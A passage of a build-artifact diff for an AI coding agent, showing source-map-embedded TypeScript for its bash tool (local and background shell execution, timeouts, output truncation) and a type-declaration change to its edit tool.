\"summary\",\n\t\t\t\t\tlines: [`Retrieve output from background shell command ${parsed.operation.handle}`],\n\t\t\t\t};\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [parsed.operation.command] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return null;\n\t\t\tif (parsed.operation.kind !== \"run\") {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to the exit code. Report signal terminations as 128 + signal number;\n\t * a null exit code is treated as a failed command.\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\ttimedOut = true;\n\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t}, timeoutMs);\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeoutMs / 1000}`);\n\t\t\t\t}\n\t\t\t\t// A signal-killed shell has no exit code. Use the standard shell convention so\n\t\t\t\t// callers do not mistake the termination for a successful command.\n\t\t\t\tconst signalCode = child.signalCode;\n\t\t\t\treturn {\n\t\t\t\t\texitCode: exitCode ?? (signalCode ? 128 + (osConstants.signals[signalCode] ?? 0) : 1),\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\n/**\n * Re-exported so callers that format a shell call keep importing it from the tool module. The\n * renderer itself lives in `renderers/bash.ts` since upstream split presentation from execution.\n */\nexport { formatShellCall } from \"./renderers/bash.ts\";\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { kind: \"retrieve\"; handle: string } | { kind: \"kill\"; handle: string },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (handleInput.kind === \"kill\") {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds; the default is ${DEFAULT_BASH_TIMEOUT_SECONDS}.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst parsed = parseShellOperation(params);\n\t\t\t\t\tconst command = !parsed.ok\n\t\t\t\t\t\t? \"(rejected shell call)\"\n\t\t\t\t\t\t: parsed.operation.kind === \"run\"\n\t\t\t\t\t\t\t? parsed.operation.command\n\t\t\t\t\t\t\t: (registry.commandFor(parsed.operation.handle) ?? parsed.operation.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling() ?? { type: \"json_schema\", strict: \"prefer\" },\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?: ExtensionContext) {\n\t\t\tconst parsed = parseShellOperation(input);\n\t\t\tif (!parsed.ok) throw new ToolExecutionError(parsed.reason, undefined);\n\t\t\tif (parsed.operation.kind !== \"run\") {\n\t\t\t\treturn await executeHandleCall(parsed.operation);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = parsed.operation;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(\n\t\t\t\tresolvedCommand,\n\t\t\t\tctx?.cwd || cwd,\n\t\t\t\tspawnHook,\n\t\t\t\texposeSessionEnvironment,\n\t\t\t\tctx,\n\t\t\t);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\t// The default belongs to the tool, not to one backend. Resolved here, every\n\t\t\t\t\t\t// backend gets the effective value; resolved inside the local one, a custom\n\t\t\t\t\t\t// backend silently had no default at all.\n\t\t\t\t\t\ttimeout: timeout ?? DEFAULT_BASH_TIMEOUT_SECONDS,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tconst status = `Command timed out after ${timeoutSecs} seconds. Pass a larger timeout, or run it with background: true and retrieve the output by handle.`;\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, status), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode === null) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, \"Command terminated without an exit code\"), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\tif (exitCode !== 0) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\t...createShellRenderers(config.prompt),\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
|
|
@@ -1,14 +1,9 @@
|
|
|
1
|
-
import { Box } from "@earendil-works/pi-tui";
|
|
2
1
|
import type { AgentTool } from "apex-code-agent-core";
|
|
3
2
|
import { type Static, Type } from "typebox";
|
|
4
3
|
import { type PreparedPathOperation } from "../permissions/operations.ts";
|
|
5
4
|
import type { ApexToolDefinition } from "./contract.ts";
|
|
6
5
|
import type { DiagnosticsOperations, DiagnosticsOutcome } from "./diagnostics.ts";
|
|
7
|
-
import { type
|
|
8
|
-
type EditPreview = EditDiffResult | EditDiffError;
|
|
9
|
-
type EditRenderState = {
|
|
10
|
-
callComponent?: EditCallRenderComponent;
|
|
11
|
-
};
|
|
6
|
+
import { type EditRenderState } from "./renderers/edit.ts";
|
|
12
7
|
declare const editSchema: Type.TObject<{
|
|
13
8
|
path: Type.TString;
|
|
14
9
|
edits: Type.TArray<Type.TObject<{
|
|
@@ -61,12 +56,6 @@ export interface EditToolOptions {
|
|
|
61
56
|
*/
|
|
62
57
|
diagnosticsOperations?: DiagnosticsOperations;
|
|
63
58
|
}
|
|
64
|
-
type EditCallRenderComponent = Box & {
|
|
65
|
-
preview?: EditPreview;
|
|
66
|
-
previewArgsKey?: string;
|
|
67
|
-
previewPending?: boolean;
|
|
68
|
-
settledError?: boolean;
|
|
69
|
-
};
|
|
70
59
|
export declare function createEditToolDefinition(cwd: string, options?: EditToolOptions): ApexToolDefinition<typeof editSchema, EditToolDetails | undefined, EditRenderState>;
|
|
71
60
|
export declare function createEditTool(cwd: string, options?: EditToolOptions): AgentTool<typeof editSchema>;
|
|
72
61
|
export {};
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"edit.d.ts","sourceRoot":"","sources":["../../../src/core/tools/edit.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,GAAG,EAA2B,MAAM,wBAAwB,CAAC;AACtE,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,sBAAsB,CAAC;AAGtD,OAAO,EAAE,KAAK,MAAM,EAAE,IAAI,EAAE,MAAM,SAAS,CAAC;AAK5C,OAAO,EAA4B,KAAK,qBAAqB,EAAE,MAAM,8BAA8B,CAAC;AAEpG,OAAO,KAAK,EAAE,kBAAkB,EAAkB,MAAM,eAAe,CAAC;AACxE,OAAO,KAAK,EAAE,qBAAqB,EAAE,kBAAkB,EAAE,MAAM,kBAAkB,CAAC;AAElF,OAAO,EAMN,KAAK,aAAa,EAClB,KAAK,cAAc,EAKnB,MAAM,gBAAgB,CAAC;AAOxB,KAAK,WAAW,GAAG,cAAc,GAAG,aAAa,CAAC;AAElD,KAAK,eAAe,GAAG;IACtB,aAAa,CAAC,EAAE,uBAAuB,CAAC;CACxC,CAAC;AAaF,QAAA,MAAM,UAAU;;;;;;EASf,CAAC;AAEF,eAAO,MAAM,gCAAgC;;;CAQnC,CAAC;AAEX,MAAM,MAAM,aAAa,GAAG,MAAM,CAAC,OAAO,UAAU,CAAC,CAAC;AAqBtD,MAAM,WAAW,eAAe;IAC/B,gDAAgD;IAChD,IAAI,EAAE,MAAM,CAAC;IACb,iDAAiD;IACjD,KAAK,EAAE,MAAM,CAAC;IACd,8EAA8E;IAC9E,gBAAgB,CAAC,EAAE,MAAM,CAAC;IAC1B,uFAAuF;IACvF,WAAW,CAAC,EAAE,kBAAkB,CAAC;CACjC;AAED;;;GAGG;AACH,MAAM,WAAW,cAAc;IAC9B,qCAAqC;IACrC,QAAQ,EAAE,CAAC,YAAY,EAAE,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC,CAAC;IACpD,8BAA8B;IAC9B,SAAS,EAAE,CAAC,YAAY,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,KAAK,OAAO,CAAC,IAAI,CAAC,CAAC;IACpE,4DAA4D;IAC5D,MAAM,EAAE,CAAC,YAAY,EAAE,MAAM,KAAK,OAAO,CAAC,IAAI,CAAC,CAAC;IAChD;;;;OAIG;IACH,gBAAgB,CAAC,EAAE,CAAC,SAAS,EAAE,qBAAqB,KAAK,MAAM,CAAC;IAChE,iBAAiB,CAAC,EAAE,CAAC,SAAS,EAAE,qBAAqB,EAAE,OAAO,EAAE,MAAM,KAAK,IAAI,CAAC;CAChF;AAUD,MAAM,WAAW,eAAe;IAC/B,oEAAoE;IACpE,UAAU,CAAC,EAAE,cAAc,CAAC;IAC5B;;;;;OAKG;IACH,qBAAqB,CAAC,EAAE,qBAAqB,CAAC;CAC9C;AA2FD,KAAK,uBAAuB,GAAG,GAAG,GAAG;IACpC,OAAO,CAAC,EAAE,WAAW,CAAC;IACtB,cAAc,CAAC,EAAE,MAAM,CAAC;IACxB,cAAc,CAAC,EAAE,OAAO,CAAC;IACzB,YAAY,CAAC,EAAE,OAAO,CAAC;CACvB,CAAC;AAoLF,wBAAgB,wBAAwB,CACvC,GAAG,EAAE,MAAM,EACX,OAAO,CAAC,EAAE,eAAe,GACvB,kBAAkB,CAAC,OAAO,UAAU,EAAE,eAAe,GAAG,SAAS,EAAE,eAAe,CAAC,CAqLrF;AAED,wBAAgB,cAAc,CAAC,GAAG,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,eAAe,GAAG,SAAS,CAAC,OAAO,UAAU,CAAC,CAEnG","sourcesContent":["import { createHash } from \"node:crypto\";\nimport { Box, Container, Spacer, Text } from 